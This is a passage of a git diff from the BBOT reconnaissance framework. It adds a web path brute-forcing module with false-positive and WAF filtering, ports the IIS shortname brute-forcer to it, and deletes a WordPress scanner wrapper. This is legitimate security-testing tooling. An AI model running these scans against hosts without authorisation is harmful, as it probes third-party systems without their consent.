+        filters = await self.baseline_fuzz(fixed_url, exts=exts)
+        async for r in self.execute_fuzz(self.words, fixed_url, netloc, exts=exts, filters=filters):
+            await self.emit_event(
+                r["url"],
+                "URL_UNVERIFIED",
+                parent=event,
+                tags=[f"status-{r['status']}"],
+                context=f"{{module}} brute-forced {event.url} and found {{event.type}}: {{event.data}}",
+            )
+
+    async def filter_event(self, event):
+        if "endpoint" in event.tags:
+            return False, "webbrute doesn't fuzz endpoints"
+        if self.config.get("avoid_wafs", True) and "waf" in event.tags:
+            return False, "host is behind a WAF"
+        netloc = event.parsed_url.netloc
+        if netloc in self._blocked_hosts:
+            return False, f"host [{netloc}] is blocked"
+        if await self._is_http_wildcard_host(event) is True:
+            return False, "host is an HTTP wildcard responder"
+        return True
+
+    def _build_batch_headers(self):
+        """Build header list for batch requests from scan config."""
+        headers = [("User-Agent", self.scan.useragent)]
+        for hk, hv in self.scan.custom_http_headers.items():
+            headers.append((hk, hv))
+        return headers
+
+    # Host-level abort reasons that apply to ALL extensions, not just the one that triggered them.
+    HOST_ABORT_REASONS = {"WAF_BLOCK_PAGE", "CONNECTIVITY_ISSUES", "BASELINE_CHANGED_CODES", "RECEIVED_429"}
+
+    async def baseline_fuzz(self, url, exts=None, prefix="", suffix=""):
+        if exts is None:
+            exts = [""]
+        filters = {}
+        host_abort = None
+
+        for ext in exts:
+            if host_abort is not None:
+                filters[ext] = host_abort
+                continue
+
+            self.debug(f"running baseline for URL [{url}] with ext [{ext}]")
+
+            canary_url_1 = f"{url}{prefix}{self.helpers.rand_string(8, digits=False)}{suffix}{ext}"
+            canary_url_2 = f"{url}{prefix}{self.helpers.rand_string(10, digits=False)}{suffix}{ext}"
+
+            compare = HttpCompare(
+                canary_url_1,
+                self.helpers,
+                allow_redirects=False,
+                timeout=self.scan.http_timeout,
+                include_cache_buster=False,
+                baseline_url_2=canary_url_2,
+            )
+
+            try:
+                await compare._baseline()
+            except HttpCompareError as e:
+                self.warning(f"Could not establish baseline for URL [{url}] ext [{ext}]: {e}")
+                abort = {"abort": True, "reason": "CONNECTIVITY_ISSUES"}
+                filters[ext] = abort
+                host_abort = abort
+                continue
+
+            baseline_status = compare.baseline.status_code
+
+            if await self.helpers.yara.match(self.waf_yara_rules, compare.baseline.content):
+                self.warning(f"Baseline for URL [{url}] ext [{ext}] returned WAF block page, aborting.")
+                abort = {"abort": True, "reason": "WAF_BLOCK_PAGE"}
+                filters[ext] = abort
+                host_abort = abort
+                continue
+
+            if baseline_status == 429:
+                self.warning(
+                    f"Received 429 (Too Many Requests) for URL [{url}]. A WAF or rate limiter is blocking requests, aborting."
+                )
+                abort = {"abort": True, "reason": "RECEIVED_429"}
+                filters[ext] = abort
+                host_abort = abort
+                continue
+
+            if baseline_status == 403:
+                self.warning("All baseline requests received 403. A WAF may be actively blocking traffic.")
+
+            filters[ext] = {"compare": compare}
+
+        return filters
+
+    async def execute_fuzz(
+        self,
+        words,
+        url,
+        netloc,
+        prefix="",
+        suffix="",
+        exts=None,
+        filters=None,
+    ):
+        if exts is None:
+            exts = [""]
+        if filters is None:
+            filters = await self.baseline_fuzz(url, exts=exts, prefix=prefix, suffix=suffix)
+
+        headers = self._build_batch_headers()
+        proxy = self.scan.http_proxy or None
+
+        for ext in exts:
+            if netloc in self._blocked_hosts:
+                self.debug(f"Host [{netloc}] is blocked, skipping remaining extensions")
+                return
+
+            ext_filter = filters.get(ext, {})
+            if ext_filter.get("abort"):
+                self.warning(f"Skipping fuzz for ext [{ext}]: {ext_filter.get('reason', 'ABORT')}")
+                continue
+
+            compare = ext_filter.get("compare")
+            if compare is None:
+                self.debug(f"No baseline for ext [{ext}], skipping")
+                continue
+
+            # Build batch configs for this extension
+            configs = []
+            for word in words:
+                fuzz_url = f"{url}{prefix}{word}{suffix}{ext}"
+                configs.append(
+                    blasthttp.BatchConfig(
+                        fuzz_url,
+                        headers=headers,
+                        timeout=self.scan.http_timeout,
+                        retries=0,
+                        verify_certs=False,
+                        follow_redirects=False,
+                        proxy=proxy,
+                    )
+                )
+
+            if not configs:
+                continue
+
+            self.debug(f"Fuzzing {len(configs)} URLs for ext [{ext}]")
+
+            # Hits are collected before emission, gated by three false-positive defenses:
+            #   1. Canary: a random word is injected into the wordlist. If it "hits",
+            #      the server is responding uniquely to everything, so all hits are junk.
+            #   2. Mid-scan baseline: after streaming, a fresh random URL is checked
+            #      against the baseline. If it no longer matches, the server's behavior
+            #      drifted during the scan (e.g. WAF kicked in), so hits are unreliable.
+            #   3. Hit cap: if the number of hits exceeds a sqrt-scaled threshold,
+            #      something slipped past the baseline (e.g. the server returns subtly
+            #      unique content per real word but not per random string). The host is
+            #      blocked and all hits are discarded before emission.
+            canary_found = False
+            hits = []
+            async for result in iter_batch_results(
+                self.blast_client.request_batch_stream(configs, self.concurrency, rate_limit=self.rate)
+            ):
+                if self.scan.stopping:
+                    return
+                if not result.success:
+                    self._host_timeouts[netloc] = self._host_timeouts.get(netloc, 0) + 1
+                    if self._host_timeouts[netloc] >= 50:
+                        self.verbose(f"Host [{netloc}] has {self._host_timeouts[netloc]} timeouts, blocking host")
+                        self._blocked_hosts.add(netloc)
+                        return
+                    continue
+
+                response = result.response
+
+                # HttpCompare: empty diff_reasons = matches baseline = filter out
+                diff_reasons = compare._compare_sync(response, response.url)
+                if not diff_reasons:
+                    continue
+
+                # Extract the word from the URL to check for canary
+                word = result.url[len(url) + len(prefix) :]
+                if suffix:
+                    word = word[: -len(suffix + ext)] if (suffix + ext) else word
+                elif ext:
+                    word = word[: -len(ext)]
+                word = word.rstrip("/")
+
+                if word == self.canary:
+                    canary_found = True
+                    continue
+
+                # Filter 3xx redirects to site root
+                if 300 <= response.status < 400:
+                    location = ""
+                    for hdr_name, hdr_val in response.headers.items():
+                        if hdr_name.lower() == "location":
+                            location = hdr_val
+                            break
+                    if location in ("/", url):
+                        self.debug(f"Filtering redirect-to-root hit: {response.url} -> {location}")
+                        continue
+
+                # Filter WAF block pages
+                if await self.helpers.yara.match(self.waf_yara_rules, response.body):
+                    self.debug(f"Filtering WAF block page: {response.url}")
+                    continue
+
+                hits.append({"url": response.url, "status": response.status})
+
+            if canary_found and hits:
+                self.debug("Found canary in results, all hits are likely false positives -- aborting")
+                return
+
+            # Mid-scan validation: does a fresh canary still match baseline?
+            if hits:
+                canary_url = f"{url}{prefix}{self.helpers.rand_string(8, digits=False)}{suffix}{ext}"
+                try:
+                    match, reasons, _, _ = await compare.compare(canary_url)
+                except HttpCompareError:
+                    match = False
+                    reasons = ["error"]
+                if not match:
+                    self.verbose(
+                        f"Would have reported {len(hits)} hit(s), but mid-scan baseline check "
+                        f"failed ({reasons}). Aborting the current run against [{url}]"
+                    )
+                    return
+
+            # sqrt-scaled hit cap: ~28 at 50 words, ~40 at 100, ~126 at 1000, ~283 at 5000
+            if len(words) >= 50:
+                hit_cap = int(4 * (len(words) ** 0.5))
+                if len(hits) > hit_cap:
+                    self.warning(
+                        f"Discarding {len(hits)} hits for [{url}] ext [{ext}] "
+                        f"(exceeds cap of {hit_cap}), likely a filtering failure. Blocking host."
+                    )
+                    self._blocked_hosts.add(netloc)
+                    return
+
+            for hit in hits:
+                yield hit
+
+    def generate_templist(self, prefix=None):
+        """Generate word list from wordlist_lines, filtered by optional prefix."""
+        words = []
+        if prefix:
+            prefix = prefix.strip().lower()
+        max_lines = self.config.get("lines")
+
+        for line in self.wordlist_lines[:max_lines]:
+            if (not prefix) or line.lower().startswith(prefix):
+                words.append(line)
+
+        words.append(self.canary)
+        return words, len(words)
+
+    def generate_wordlist(self, wordlist_file):
+        seen = {}
+        ignore_case = self.config.get("ignore_case", False)
+        for line in self.helpers.read_file(wordlist_file):
+            line = line.strip()
+            if not line:
+                continue
+            if line in self.blacklist:
+                self.debug(f"Skipping adding [{line}] to wordlist because it was in the blacklist")
+                continue
+            if any(x in line for x in self.banned_characters):
+                self.debug(f"Skipping adding [{line}] to wordlist because it has a banned character")
+                continue
+            if ignore_case:
+                line = line.lower()
+            seen[line] = None
+        return list(seen)
diff --git a/bbot/modules/ffuf_shortnames.py b/bbot/modules/webbrute_shortnames.py
similarity index 73%
rename from bbot/modules/ffuf_shortnames.py
rename to bbot/modules/webbrute_shortnames.py
index ee6e040095..0883c22d3c 100644
--- a/bbot/modules/ffuf_shortnames.py
+++ b/bbot/modules/webbrute_shortnames.py
@@ -2,62 +2,61 @@
 import re
 import random
 import string
+from typing import Union
 
-from bbot.modules.ffuf import ffuf
+from bbot.modules.webbrute import webbrute
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
-class ffuf_shortnames(ffuf):
+class webbrute_shortnames(webbrute):
     watched_events = ["URL_HINT"]
     produced_events = ["URL_UNVERIFIED"]
-    flags = ["aggressive", "active", "iis-shortnames", "web-thorough"]
+    flags = ["loud", "active", "iis-shortnames", "web-heavy"]
     meta = {
-        "description": "Use ffuf in combination IIS shortnames",
+        "description": "Brute-force IIS shortnames using ML-predicted wordlists",
         "created_date": "2022-07-05",
         "author": "@liquidsec",
     }
 
-    options = {
-        "wordlist_extensions": "",  # default is defined within setup function
-        "max_depth": 1,
-        "version": "2.0.0",
-        "extensions": "",
-        "ignore_redirects": True,
-        "find_common_prefixes": False,
-        "find_delimiters": True,
-        "find_subwords": False,
-        "max_predictions": 250,
-        "rate": 0,
-    }
-
-    options_desc = {
-        "wordlist_extensions": "Specify wordlist to use when making extension lists",
-        "max_depth": "the maximum directory depth to attempt to solve",
-        "version": "ffuf version",
-        "extensions": "Optionally include a list of extensions to extend the keyword with (comma separated)",
-        "ignore_redirects": "Explicitly ignore redirects (301,302)",
-        "find_common_prefixes": "Attempt to automatically detect common prefixes and make additional ffuf runs against them",
-        "find_delimiters": "Attempt to detect common delimiters and make additional ffuf runs against them",
-        "find_subwords": "Attempt to detect subwords and make additional ffuf runs against them",
-        "max_predictions": "The maximum number of predictions to generate per shortname prefix",
-        "rate": "Rate of requests per second (default: 0)",
-    }
+    class Config(BaseModuleConfig):
+        wordlist_extensions: Union[str, list[str]] = Field(
+            "",
+            description="Specify wordlist to use when making extension lists. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed).",
+        )
+        max_depth: int = Field(1, description="the maximum directory depth to attempt to solve")
+        extensions: str = Field(
+            "", description="Optionally include a list of extensions to extend the keyword with (comma separated)"
+        )
+        find_common_prefixes: bool = Field(
+            False,
+            description="Attempt to automatically detect common prefixes and make additional runs against them",
+        )
+        find_delimiters: bool = Field(
+            True, description="Attempt to detect common delimiters and make additional runs against them"
+        )
+        find_subwords: bool = Field(
+            False, description="Attempt to detect subwords and make additional runs against them"
+        )
+        max_predictions: int = Field(
+            250, description="The maximum number of predictions to generate per shortname prefix"
+        )
+        rate: int = Field(0, description="Rate of requests per second (default: 0)")
 
     deps_pip = ["numpy"]
-    deps_common = ["ffuf"]
     in_scope_only = True
 
     supplementary_words = ["html", "ajax", "xml", "json", "api"]
 
-    def generate_templist(self, hint, shortname_type):
-        virtual_file = set()  # Use a set to avoid duplicates
+    async def generate_templist(self, hint, shortname_type):
+        words = await self.helpers.run_in_executor_cpu(self._generate_templist_sync, hint, shortname_type)
+        return words, len(words)
 
+    def _generate_templist_sync(self, hint, shortname_type):
+        words = set()
         for prediction, score in self.predict(hint, self.max_predictions, model=shortname_type):
-            prediction_lower = prediction.lower()  # Convert to lowercase
-            self.debug(f"Got prediction: [{prediction_lower}] from prefix [{hint}] with score [{score}]")
-            virtual_file.add(prediction_lower)  # Add to set to ensure uniqueness
-
-        virtual_file.add(self.canary.lower())  # Ensure canary is also lowercase
-        return self.helpers.tempfile(list(virtual_file), pipe=False), len(virtual_file)
+            words.add(prediction.lower())
+        words.add(self.canary.lower())
+        return list(words)
 
     def predict(self, prefix, n=25, model="endpoint"):
         predictor_name = f"{model}_predictor"
@@ -96,12 +95,13 @@ async def setup_deps(self):
         return True
 
     async def setup(self):
-        self.proxy = self.scan.web_config.get("http_proxy", "")
         self.canary = "".join(random.choice(string.ascii_lowercase) for i in range(10))
-        self.ignore_redirects = self.config.get("ignore_redirects")
+        self.blast_client = self.helpers.blasthttp
+        self.waf_yara_rules = self.helpers.yara.compile_strings(self.helpers.get_waf_strings(), nocase=True)
         self.max_predictions = self.config.get("max_predictions")
         self.find_subwords = self.config.get("find_subwords")
-        self.rate = self.config.get("rate", 0)
+        self.rate = self.config.get("rate", 0) or None
+        self.concurrency = 50
 
         class MinimalWordPredictor:
             def __init__(self):
@@ -124,9 +124,11 @@ class CustomUnpickler(pickle.Unpickler):
             def find_class(self, module, name):
                 if name == "MinimalWordPredictor":
                     return MinimalWordPredictor
-                return super().find_class(module, name)
+                if module.startswith("numpy"):
+                    return super().find_class(module, name)
+                raise pickle.UnpicklingError(f"Forbidden class: {module}.{name}")
 
-        self.info("Loading ffuf_shortnames prediction models, could take a while if not cached")
+        self.info("Loading shortname prediction models, could take a while if not cached")
         endpoint_model = await self.helpers.wordlist(
             "https://raw.githubusercontent.com/blacklanternsecurity/wordpredictor/refs/heads/main/trained_models/endpoints.bin"
         )
@@ -146,7 +148,7 @@ def find_class(self, module, name):
 
         self.subword_list = []
         if self.find_subwords:
-            self.debug("Acquiring ffuf_shortnames subword list")
+            self.debug("Acquiring shortname subword list")
             subwords = await self.helpers.wordlist(
                 "https://raw.githubusercontent.com/nltk/nltk_data/refs/heads/gh-pages/packages/corpora/words.zip",
                 zip=True,
@@ -161,6 +163,8 @@ def find_class(self, module, name):
 
         self.per_host_collection = {}
         self.shortname_to_event = {}
+        self._host_timeouts = {}
+        self._blocked_hosts = set()
 
         return True
 
@@ -187,7 +191,7 @@ def find_delimiter(self, hint):
 
     async def filter_event(self, event):
         if "iis-magic-url" in event.tags:
-            return False, "iis-magic-url URL_HINTs are not solvable by ffuf_shortnames"
+            return False, "iis-magic-url URL_HINTs are not solvable by webbrute_shortnames"
         if event.parent.type != "URL":
             return False, "its parent event is not of type URL"
         return True
@@ -208,55 +212,52 @@ async def handle_event(self, event):
         elif "shortname-directory" in event.tags:
             shortname_type = "directory"
         else:
-            self.error("ffuf_shortnames received URL_HINT without proper 'shortname-' tag")
+            self.error("webbrute_shortnames received URL_HINT without proper 'shortname-' tag")
             return
 
         host = f"{event.parent.parsed_url.scheme}://{event.parent.parsed_url.netloc}/"
         if host not in self.per_host_collection.keys():
-            self.per_host_collection[host] = [(filename_hint, event.parent.data)]
-
+            self.per_host_collection[host] = [(filename_hint, event.parent.url)]
         else:
-            self.per_host_collection[host].append((filename_hint, event.parent.data))
+            self.per_host_collection[host].append((filename_hint, event.parent.url))
 
         self.shortname_to_event[filename_hint] = event
 
         root_stub = "/".join(event.parsed_url.path.split("/")[:-1])
         root_url = f"{event.parsed_url.scheme}://{event.parsed_url.netloc}{root_stub}/"
+        netloc = event.parsed_url.netloc
 
         if shortname_type == "endpoint":
             used_extensions = self.build_extension_list(event)
 
         if len(filename_hint) == 6:
-            tempfile, tempfile_len = self.generate_templist(filename_hint, shortname_type)
-            self.verbose(
-                f"generated temp word list of size [{str(tempfile_len)}] for filename hint: [{filename_hint}]"
-            )
-
+            words, words_len = await self.generate_templist(filename_hint, shortname_type)
+            self.verbose(f"generated word list of size [{str(words_len)}] for filename hint: [{filename_hint}]")
         else:
-            tempfile = self.helpers.tempfile([filename_hint], pipe=False)
-            tempfile_len = 1
+            words = [filename_hint]
+            words_len = 1
 
-        if tempfile_len > 0:
+        if words_len > 0:
             if shortname_type == "endpoint":
                 for ext in used_extensions:
-                    async for r in self.execute_ffuf(tempfile, root_url, suffix=f".{ext}"):
+                    async for r in self.execute_fuzz(words, root_url, netloc, suffix=f".{ext}"):
                         await self.emit_event(
                             r["url"],
                             "URL_UNVERIFIED",
                             parent=event,
                             tags=[f"status-{r['status']}"],
-                            context=f"{{module}} brute-forced {ext.upper()} files at {root_url} and found {{event.type}}: {{event.data}}",
+                            context=f"{{module}} brute-forced {ext.upper()} files at {root_url} and found {{event.type}}: {{event.pretty_string}}",
                         )
 
             elif shortname_type == "directory":
-                async for r in self.execute_ffuf(tempfile, root_url, exts=["/"]):
+                async for r in self.execute_fuzz(words, root_url, netloc, exts=["/"]):
                     r_url = f"{r['url'].rstrip('/')}/"
                     await self.emit_event(
                         r_url,
                         "URL_UNVERIFIED",
                         parent=event,
                         tags=[f"status-{r['status']}"],
-                        context=f"{{module}} brute-forced directories at {r_url} and found {{event.type}}: {{event.data}}",
+                        context=f"{{module}} brute-forced directories at {r_url} and found {{event.type}}: {{event.pretty_string}}",
                     )
 
         if self.config.get("find_delimiters"):
@@ -265,15 +266,15 @@ async def handle_event(self, event):
                 if delimiter_r:
                     delimiter, prefix, partial_hint = delimiter_r
                     self.verbose(f"Detected delimiter [{delimiter}] in hint [{filename_hint}]")
-                    tempfile, tempfile_len = self.generate_templist(partial_hint, "directory")
-                    ffuf_prefix = f"{prefix}{delimiter}"
-                    async for r in self.execute_ffuf(tempfile, root_url, prefix=ffuf_prefix, exts=["/"]):
+                    words, words_len = await self.generate_templist(partial_hint, "directory")
+                    fuzz_prefix = f"{prefix}{delimiter}"
+                    async for r in self.execute_fuzz(words, root_url, netloc, prefix=fuzz_prefix, exts=["/"]):
                         await self.emit_event(
                             r["url"],
                             "URL_UNVERIFIED",
                             parent=event,
                             tags=[f"status-{r['status']}"],
-                            context=f'{{module}} brute-forced directories with detected prefix "{ffuf_prefix}" and found {{event.type}}: {{event.data}}',
+                            context=f'{{module}} brute-forced directories with detected prefix "{fuzz_prefix}" and found {{event.type}}: {{event.pretty_string}}',
                         )
 
             elif "shortname-endpoint" in event.tags:
@@ -282,40 +283,42 @@ async def handle_event(self, event):
                     if delimiter_r:
                         delimiter, prefix, partial_hint = delimiter_r
                         self.verbose(f"Detected delimiter [{delimiter}] in hint [{filename_hint}]")
-                        tempfile, tempfile_len = self.generate_templist(partial_hint, "endpoint")
-                        ffuf_prefix = f"{prefix}{delimiter}"
-                        async for r in self.execute_ffuf(tempfile, root_url, prefix=ffuf_prefix, suffix=f".{ext}"):
+                        words, words_len = await self.generate_templist(partial_hint, "endpoint")
+                        fuzz_prefix = f"{prefix}{delimiter}"
+                        async for r in self.execute_fuzz(
+                            words, root_url, netloc, prefix=fuzz_prefix, suffix=f".{ext}"
+                        ):
                             await self.emit_event(
                                 r["url"],
                                 "URL_UNVERIFIED",
                                 parent=event,
                                 tags=[f"status-{r['status']}"],
-                                context=f'{{module}} brute-forced {ext.upper()} files with detected prefix "{ffuf_prefix}" and found {{event.type}}: {{event.data}}',
+                                context=f'{{module}} brute-forced {ext.upper()} files with detected prefix "{fuzz_prefix}" and found {{event.type}}: {{event.pretty_string}}',
                             )
 
         if self.config.get("find_subwords"):
             subword, suffix = self.find_subword(filename_hint)
             if subword:
                 if "shortname-directory" in event.tags:
-                    tempfile, tempfile_len = self.generate_templist(suffix, "directory")
-                    async for r in self.execute_ffuf(tempfile, root_url, prefix=subword, exts=["/"]):
+                    words, words_len = await self.generate_templist(suffix, "directory")
+                    async for r in self.execute_fuzz(words, root_url, netloc, prefix=subword, exts=["/"]):
                         await self.emit_event(
                             r["url"],
                             "URL_UNVERIFIED",
                             parent=event,
                             tags=[f"status-{r['status']}"],
-                            context=f'{{module}} brute-forced directories with detected subword "{subword}" and found {{event.type}}: {{event.data}}',
+                            context=f'{{module}} brute-forced directories with detected subword "{subword}" and found {{event.type}}: {{event.pretty_string}}',
                         )
                 elif "shortname-endpoint" in event.tags:
                     for ext in used_extensions:
-                        tempfile, tempfile_len = self.generate_templist(suffix, "endpoint")
-                        async for r in self.execute_ffuf(tempfile, root_url, prefix=subword, suffix=f".{ext}"):
+                        words, words_len = await self.generate_templist(suffix, "endpoint")
+                        async for r in self.execute_fuzz(words, root_url, netloc, prefix=subword, suffix=f".{ext}"):
                             await self.emit_event(
                                 r["url"],
                                 "URL_UNVERIFIED",
                                 parent=event,
                                 tags=[f"status-{r['status']}"],
-                                context=f'{{module}} brute-forced {ext.upper()} files with detected subword "{subword}" and found {{event.type}}: {{event.data}}',
+                                context=f'{{module}} brute-forced {ext.upper()} files with detected subword "{subword}" and found {{event.type}}: {{event.pretty_string}}',
                             )
 
     async def finish(self):
@@ -331,33 +334,34 @@ async def finish(self):
                     self.verbose(f"Found common prefix: [{prefix}] for host [{host}]")
                     for hint_tuple in hint_tuple_list:
                         hint, url = hint_tuple
+                        netloc = self.shortname_to_event[hint].parsed_url.netloc
                         if hint.startswith(prefix):
                             if "shortname-endpoint" in self.shortname_to_event[hint].tags:
                                 shortname_type = "endpoint"
                             elif "shortname-directory" in self.shortname_to_event[hint].tags:
                                 shortname_type = "directory"
                             else:
-                                self.error("ffuf_shortnames received URL_HINT without proper 'shortname-' tag")
+                                self.error("webbrute_shortnames received URL_HINT without proper 'shortname-' tag")
                                 continue
 
                             partial_hint = hint[len(prefix) :]
 
                             # safeguard to prevent loading the entire wordlist
                             if len(partial_hint) > 0:
-                                tempfile, tempfile_len = self.generate_templist(partial_hint, shortname_type)
+                                words, words_len = await self.generate_templist(partial_hint, shortname_type)
 
                                 if "shortname-directory" in self.shortname_to_event[hint].tags:
                                     self.verbose(
                                         f"Running common prefix check for URL_HINT: {hint} with prefix: {prefix} and partial_hint: {partial_hint}"
                                     )
 
-                                    async for r in self.execute_ffuf(tempfile, url, prefix=prefix, exts=["/"]):
+                                    async for r in self.execute_fuzz(words, url, netloc, prefix=prefix, exts=["/"]):
                                         await self.emit_event(
                                             r["url"],
                                             "URL_UNVERIFIED",
                                             parent=self.shortname_to_event[hint],
                                             tags=[f"status-{r['status']}"],
-                                            context=f'{{module}} brute-forced directories with common prefix "{prefix}" and found {{event.type}}: {{event.data}}',
+                                            context=f'{{module}} brute-forced directories with common prefix "{prefix}" and found {{event.type}}: {{event.pretty_string}}',
                                         )
                                 elif shortname_type == "endpoint":
                                     used_extensions = self.build_extension_list(self.shortname_to_event[hint])
@@ -366,13 +370,13 @@ async def finish(self):
                                         self.verbose(
                                             f"Running common prefix check for URL_HINT: {hint} with prefix: {prefix}, extension: .{ext}, and partial_hint: {partial_hint}"
                                         )
-                                        async for r in self.execute_ffuf(
-                                            tempfile, url, prefix=prefix, suffix=f".{ext}"
+                                        async for r in self.execute_fuzz(
+                                            words, url, netloc, prefix=prefix, suffix=f".{ext}"
                                         ):
                                             await self.emit_event(
                                                 r["url"],
                                                 "URL_UNVERIFIED",
                                                 parent=self.shortname_to_event[hint],
                                                 tags=[f"status-{r['status']}"],
-                                                context=f'{{module}} brute-forced {ext.upper()} files with common prefix "{prefix}" and found {{event.type}}: {{event.data}}',
+                                                context=f'{{module}} brute-forced {ext.upper()} files with common prefix "{prefix}" and found {{event.type}}: {{event.pretty_string}}',
                                             )
diff --git a/bbot/modules/wpscan.py b/bbot/modules/wpscan.py
deleted file mode 100644
index 820fca50a2..0000000000
--- a/bbot/modules/wpscan.py
+++ /dev/null
@@ -1,288 +0,0 @@
-import json
-from bbot.modules.base import BaseModule
-
-
-class wpscan(BaseModule):
-    watched_events = ["HTTP_RESPONSE", "TECHNOLOGY"]
-    produced_events = ["URL_UNVERIFIED", "FINDING", "VULNERABILITY", "TECHNOLOGY"]
-    flags = ["active", "aggressive"]
-    meta = {
-        "description": "Wordpress security scanner. Highly recommended to use an API key for better results.",
-        "created_date": "2024-05-29",
-        "author": "@domwhewell-sage",
-    }
-
-    options = {
-        "api_key": "",
-        "enumerate": "vp,vt,cb,dbe",
-        "threads": 5,
-        "request_timeout": 5,
-        "connection_timeout": 2,
-        "disable_tls_checks": True,
-        "force": False,
-    }
-    options_desc = {
-        "api_key": "WPScan API Key",
-        "enumerate": "Enumeration Process see wpscan help documentation (default: vp,vt,cb,dbe)",
-        "threads": "How many wpscan threads to spawn (default is 5)",
-        "request_timeout": "The request timeout in seconds (default 5)",
-        "connection_timeout": "The connection timeout in seconds (default 2)",
-        "disable_tls_checks": "Disables the SSL/TLS certificate verification (Default True)",
-        "force": "Do not check if the target is running WordPress or returns a 403",
-    }
-    deps_apt = ["curl", "make", "gcc"]
-    deps_ansible = [
-        {
-            "name": "Install Ruby Deps (Debian)",
-            "package": {"name": ["ruby-rubygems", "ruby-dev"], "state": "present"},
-            "become": True,
-            "when": "ansible_facts['os_family'] == 'Debian'",
-        },
-        {
-            "name": "Install Ruby Deps (Arch)",
-            "package": {"name": ["rubygems"], "state": "present"},
-            "become": True,
-            "when": "ansible_facts['os_family'] == 'Archlinux'",
-        },
-        {
-            "name": "Install Ruby Deps (Fedora)",
-            "package": {"name": ["rubygems", "ruby-devel"], "state": "present"},
-            "become": True,
-            "when": "ansible_facts['os_family'] == 'RedHat'",
-        },
-        {
-            "name": "Install Ruby Deps (Alpine)",
-            "package": {"name": ["ruby-dev", "ruby-bundler"], "state": "present"},
-            "become": True,
-            "when": "ansible_facts['os_family'] == 'Alpine'",
-        },
-        {
-            "name": "Install wpscan gem",
-            # Pin to 3.8.28 (requires Ruby >= 3.0). wpscan 4.0.0 requires Ruby >= 3.3,
-            # which is newer than the Ruby shipped by Ubuntu 24.04 (3.2.3) and the bbot
-            # CI runners. Bump this when the runners ship Ruby 3.3+.
-            "gem": {"name": "wpscan", "version": "3.8.28", "user_install": False},
-            "become": True,
-        },
-    ]
-
-    async def setup(self):
-        self.processed = set()
-        self.ignore_events = ["xmlrpc", "readme"]
-        self.api_key = self.config.get("api_key", "")
-        self.enumerate = self.config.get("enumerate", "vp,vt,cb,dbe")
-        self.proxy = self.scan.web_config.get("http_proxy", "")
-        self.threads = self.config.get("threads", 5)
-        self.request_timeout = self.config.get("request_timeout", 5)
-        self.connection_timeout = self.config.get("connection_timeout", 2)
-        self.disable_tls_checks = self.config.get("disable_tls_checks", True)
-        self.force = self.config.get("force", False)
-        return True
-
-    async def filter_event(self, event):
-        host_hash = hash(event.host)
-        if host_hash in self.processed:
-            return False, "Host has already been processed"
-        if event.type == "HTTP_RESPONSE":
-            is_redirect = str(event.data["status_code"]).startswith("30")
-            if is_redirect:
-                return False, "URL is a redirect"
-        elif event.type == "TECHNOLOGY":
-            if not event.data["technology"].lower().startswith("wordpress"):
-                return False, "technology is not wordpress"
-        self.processed.add(host_hash)
-        return True
-
-    async def handle_event(self, event):
-        if event.type == "HTTP_RESPONSE":
-            await self.handle_http_response(event)
-        elif event.type == "TECHNOLOGY":
-            await self.handle_technology(event)
-
-    async def handle_http_response(self, source_event):
-        url = source_event.parsed_url._replace(path="/").geturl()
-        command = self.construct_command(url)
-        output = await self.run_process(command)
-        for new_event in self.parse_wpscan_output(output.stdout, url, source_event):
-            await self.emit_event(new_event)
-
-    async def handle_technology(self, source_event):
-        url = self.get_base_url(source_event)
-        command = self.construct_command(url)
-        output = await self.run_process(command)
-        for new_event in self.parse_wpscan_output(output.stdout, url, source_event):
-            await self.emit_event(new_event)
-
-    def construct_command(self, url):
-        # base executable
-        command = ["wpscan", "--url", url]
-        # proxy
-        if self.proxy:
-            command += ["--proxy", str(self.proxy)]
-        # user agent
-        command += ["--user-agent", f"'{self.scan.useragent}'"]
-        # threads
-        command += ["--max-threads", str(self.threads)]
-        # request timeout
-        command += ["--request-timeout", str(self.request_timeout)]
-        # connection timeout
-        command += ["--connect-timeout", str(self.connection_timeout)]
-        # api key
-        if self.api_key:
-            command += ["--api-token", f"{self.api_key}"]
-        # enumerate
-        command += ["--enumerate", self.enumerate]
-        # disable tls checks
-        if self.disable_tls_checks:
-            command += ["--disable-tls-checks"]
-        # force
-        if self.force:
-            command += ["--force"]
-        # output format
-        command += ["--format", "json"]
-        return command
-
-    def parse_wpscan_output(self, output, base_url, source_event):
-        json_output = json.loads(output)
-        interesting_json = json_output.get("interesting_findings", {}) or {}
-        version_json = json_output.get("version", {}) or {}
-        theme_json = json_output.get("main_theme", {}) or {}
-        plugins_json = json_output.get("plugins", {}) or {}
-        if interesting_json:
-            yield from self.parse_wp_misc(interesting_json, base_url, source_event)
-        if version_json:
-            yield from self.parse_wp_version(version_json, base_url, source_event)
-        if theme_json:
-            yield from self.parse_wp_themes(theme_json, base_url, source_event)
-        if plugins_json:
-            yield from self.parse_wp_plugins(plugins_json, base_url, source_event)
-
-    def parse_wp_misc(self, interesting_json, base_url, source_event):
-        for finding in interesting_json:
-            url = finding.get("url", base_url)
-            type = finding["type"]
-            if type in self.ignore_events:
-                continue
-            description_string = finding["to_s"]
-            interesting_entries = finding["interesting_entries"]
-            if type == "headers":
-                for header in interesting_entries:
-                    yield self.make_event(
-                        {"technology": str(header).lower(), "url": url, "host": str(source_event.host)},
-                        "TECHNOLOGY",
-                        source_event,
-                    )
-            else:
-                url_event = self.make_event(url, "URL_UNVERIFIED", parent=source_event, tags=["httpx-safe"])
-                if url_event:
-                    yield url_event
-                yield self.make_event(
-                    {"description": description_string, "url": url, "host": str(source_event.host)},
-                    "FINDING",
-                    source_event,
-                )
-
-    def parse_wp_version(self, version_json, url, source_event):
-        version = version_json.get("number", "")
-        if version:
-            technology = f"wordpress {version}"
-        else:
-            technology = "wordpress detect"
-        yield self.make_event(
-            {"technology": str(technology).lower(), "url": url, "host": str(source_event.host)},
-            "TECHNOLOGY",
-            source_event,
-        )
-        for wp_vuln in version_json.get("vulnerabilities", []):
-            yield self.make_event(
-                {
-                    "severity": "HIGH",
-                    "host": str(source_event.host),
-                    "url": url,
-                    "description": self.vulnerability_to_s(wp_vuln),
-                },
-                "VULNERABILITY",
-                source_event,
-            )
-
-    def parse_wp_themes(self, theme_json, url, source_event):
-        name = theme_json.get("slug", "")
-        version = theme_json.get("version", {}).get("number", "")
-        if name:
-            if version:
-                technology = f"{name} v{version}"
-            else:
-                technology = name
-        yield self.make_event(
-            {"technology": str(technology).lower(), "url": url, "host": str(source_event.host)},
-            "TECHNOLOGY",
-            source_event,
-        )
